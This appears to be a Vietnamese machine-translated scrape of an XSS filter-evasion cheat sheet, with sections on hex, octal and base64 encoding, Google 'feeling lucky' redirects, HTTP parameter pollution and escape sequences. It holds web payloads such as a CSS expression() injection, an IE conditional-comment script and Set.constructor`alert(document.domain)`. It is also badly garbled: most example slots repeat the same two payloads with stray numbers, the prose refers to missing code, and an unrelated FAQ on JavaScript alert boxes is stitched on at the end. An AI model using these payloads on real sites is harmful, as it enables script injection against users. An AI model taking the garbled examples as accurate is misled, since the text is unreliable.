xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
74

mã hóa hex

Tổng kích thước của mỗi số được phép nằm ở đâu đó trong vùng lân cận của tổng số 240 ký tự như bạn có thể thấy trên chữ số thứ hai và vì số hex nằm trong khoảng từ 0 đến F nên không bắt buộc phải có số 0 đứng đầu trong dấu ngoặc kép thứ ba)

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
75

Mã hóa bát phân

Một lần nữa, phần đệm được cho phép, mặc dù bạn phải giữ nó trên tổng số 4 ký tự cho mỗi lớp - như trong lớp A, lớp B, v.v.

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
76

Mã hóa Base64

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
77

mã hóa hỗn hợp

Hãy kết hợp và kết hợp mã hóa cơ sở và đưa vào một số tab và dòng mới - tại sao các trình duyệt cho phép điều này, tôi sẽ không bao giờ biết). Các tab và dòng mới chỉ hoạt động nếu điều này được gói gọn trong dấu ngoặc kép

<A HREF="h 
tt  p://6   6.000146.0x7.147/">XSS</A>

Bỏ qua độ phân giải giao thức

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
34 dịch thành
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
79 giúp tiết kiệm thêm một vài byte. Điều này thực sự hữu ích khi không gian cũng là một vấn đề (hai ký tự ít hơn có thể đi một chặng đường dài) và có thể dễ dàng bỏ qua biểu thức chính quy như
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
80 (cảm ơn Ozh về phần này). Bạn cũng có thể thay đổi
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
34 thành
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
82. Tuy nhiên, bạn cần phải giữ nguyên dấu gạch chéo, nếu không, điều này sẽ được hiểu là URL đường dẫn tương đối

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
83

Google "cảm thấy may mắn" phần 1

Firefox sử dụng chức năng "cảm thấy may mắn" của Google để chuyển hướng người dùng đến bất kỳ từ khóa nào bạn nhập vào. Vì vậy, nếu trang có thể khai thác của bạn đứng đầu đối với một số từ khóa ngẫu nhiên (như bạn thấy ở đây), bạn có thể sử dụng tính năng đó đối với bất kỳ người dùng Firefox nào. Điều này sử dụng giao thức

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
84 của Firefox. Bạn có thể nối một số từ khóa bằng cách sử dụng một cái gì đó như sau
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
85 chẳng hạn. Điều này không còn hoạt động trong Firefox kể từ 2. 0

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
86

Google "cảm thấy may mắn" phần 2

Điều này sử dụng một thủ thuật rất nhỏ dường như chỉ hoạt động với Firefox, vì nó thực hiện chức năng "cảm thấy may mắn". Không giống như cái tiếp theo, cái này không hoạt động trong Opera vì Opera tin rằng đây là cuộc tấn công lừa đảo HTTP Basic Auth cũ, mà nó không phải là. Nó chỉ đơn giản là một URL không đúng định dạng. Nếu bạn bấm OK vào hộp thoại, nó sẽ hoạt động, nhưng do hộp thoại bị lỗi, tôi đang nói rằng điều này không được hỗ trợ trong Opera và nó không còn được hỗ trợ trong Firefox kể từ 2. 0

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
87

Google "cảm thấy may mắn" phần 3

Điều này sử dụng một URL không đúng định dạng dường như chỉ hoạt động trong Firefox và Opera do chúng triển khai chức năng "cảm thấy may mắn". Giống như tất cả những điều trên, nó yêu cầu bạn phải là số 1 trên Google cho từ khóa được đề cập (trong trường hợp này là "google")

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
88

Xóa CNAME

Khi được kết hợp với URL ở trên, việc xóa

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
89 sẽ tiết kiệm thêm 4 byte để tiết kiệm tổng cộng 9 byte cho các máy chủ đã thiết lập đúng cách này)

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
90

Dấu chấm bổ sung cho DNS tuyệt đối

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
91

Vị trí liên kết JavaScript

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
92

Thay thế nội dung dưới dạng vectơ tấn công

Giả sử

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
71 được thay thế theo chương trình không có gì). Tôi thực sự đã sử dụng một vectơ tấn công tương tự chống lại một số bộ lọc XSS trong thế giới thực riêng biệt bằng cách sử dụng chính bộ lọc chuyển đổi (đây là một ví dụ) để giúp tạo vectơ tấn công (IE.
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
94 đã được chuyển đổi thành
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
95, kết xuất trong IE, Netscape 8. 1+ ở chế độ trang web an toàn và Opera)

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
96

Hỗ trợ XSS với ô nhiễm thông số HTTP

Giả sử luồng chia sẻ nội dung trên một trang web được triển khai như hình bên dưới. Có một trang "Nội dung" bao gồm một số nội dung do người dùng cung cấp và trang này cũng bao gồm một liên kết đến trang "Chia sẻ" cho phép người dùng chọn nền tảng chia sẻ xã hội yêu thích của họ để chia sẻ nó trên đó. Các nhà phát triển HTML đã mã hóa tham số "tiêu đề" trong trang "Nội dung" để ngăn chặn XSS nhưng vì một số lý do, họ đã không URL mã hóa tham số này để ngăn ngừa ô nhiễm tham số HTTP. Cuối cùng, họ quyết định rằng vì giá trị của content_type là một hằng số và sẽ luôn là số nguyên nên họ đã không mã hóa hoặc xác thực content_type trong trang "Chia sẻ"

Mã nguồn trang nội dung

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
97

Chia sẻ mã nguồn trang

Set.constructor`alert\x28document.domain\x29
0

Đầu ra trang nội dung

Trong trường hợp này nếu kẻ tấn công đặt tiêu đề nội dung không đáng tin cậy là “Đây là tiêu đề thông thường&content_type=1;alert(1)” thì liên kết trong trang "Nội dung" sẽ là thế này

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
98

Chia sẻ đầu ra trang

Và trong đầu ra trang chia sẻ có thể là thế này

Set.constructor`alert\x28document.domain\x29
1

Do đó, trong ví dụ này, lỗ hổng chính là tin cậy vào content_type trong trang "Chia sẻ" mà không có mã hóa hoặc xác thực phù hợp. Ô nhiễm tham số HTTP có thể làm tăng tác động của lỗ hổng XSS bằng cách thúc đẩy nó từ XSS được phản ánh sang XSS được lưu trữ

Trình tự thoát nhân vật

Tất cả các kết hợp có thể có của ký tự "\<" trong HTML và JavaScript. Hầu hết trong số này sẽ không hiển thị ngay lập tức, nhưng nhiều trong số chúng có thể được hiển thị trong một số trường hợp nhất định như đã thấy ở trên

  • exp/*<A STYLE='no\xss:noxss("*//*");
    xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
    
    99
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    00
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    01
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    02
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    03
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    04
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    05
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    06
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    07
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    08
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    09
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    10
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    05
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    06
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    07
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    08
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    09
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    10
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    17
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    18
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    19
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    20
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    21
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    22
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    17
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    18
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    19
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    20
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    21
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    22
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    29
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    30
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    31
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    32
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    33
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    34
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    29
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    30
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    31
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    32
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    33
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    34
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    41
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    42
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    43
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    44
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    45
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    46
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    41
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    42
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    43
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    44
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    45
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    46
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    53
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    54
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    55
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    56
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    57
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    58
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    53
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    54
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    55
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    56
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    57
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    58
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    65
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    66
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    67
  • <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]-->
    
    68

Các phương pháp bỏ qua WAF – Cross-Site Scripting

Các vấn đề chung

XSS được lưu trữ

Nếu kẻ tấn công quản lý để đẩy XSS qua bộ lọc, WAF sẽ không thể ngăn chặn quá trình tấn công

Bạn có thể tùy chỉnh JavaScript cảnh báo không?

Hộp cảnh báo tiêu chuẩn trong JavaScript không cung cấp tùy chọn áp dụng CSS. Để tạo kiểu cho hộp cảnh báo của mình, trước tiên bạn cần tạo một hộp tùy chỉnh . Hộp cảnh báo tùy chỉnh sẽ được tạo bằng jQuery và các kiểu sẽ được áp dụng cho CSS.

Bạn có thể đặt hình ảnh trong JavaScript không?

Tạo phần tử hình ảnh trong JavaScript . Sau đó, đặt URL hình ảnh thành thuộc tính src của nó. Cuối cùng, thêm phần tử image vào hệ thống phân cấp DOM bằng cách thêm nó vào phần tử body. Create an image element using the createElement() method on the document object. Then, set an image URL to its src attribute. Finally, add the image element to the DOM hierarchy by appending it to the body element.

Làm cách nào để nhắc hình ảnh trong JavaScript?

Không, không thể . Cửa sổ. cuộc gọi prompt() chỉ chấp nhận kiểu nhập văn bản.

Bạn có thể đặt HTML trong hộp cảnh báo không?

Bạn có thể thêm HTML vào chuỗi cảnh báo, nhưng nó sẽ không hiển thị dưới dạng HTML . Nó sẽ chỉ được hiển thị dưới dạng một chuỗi đơn giản.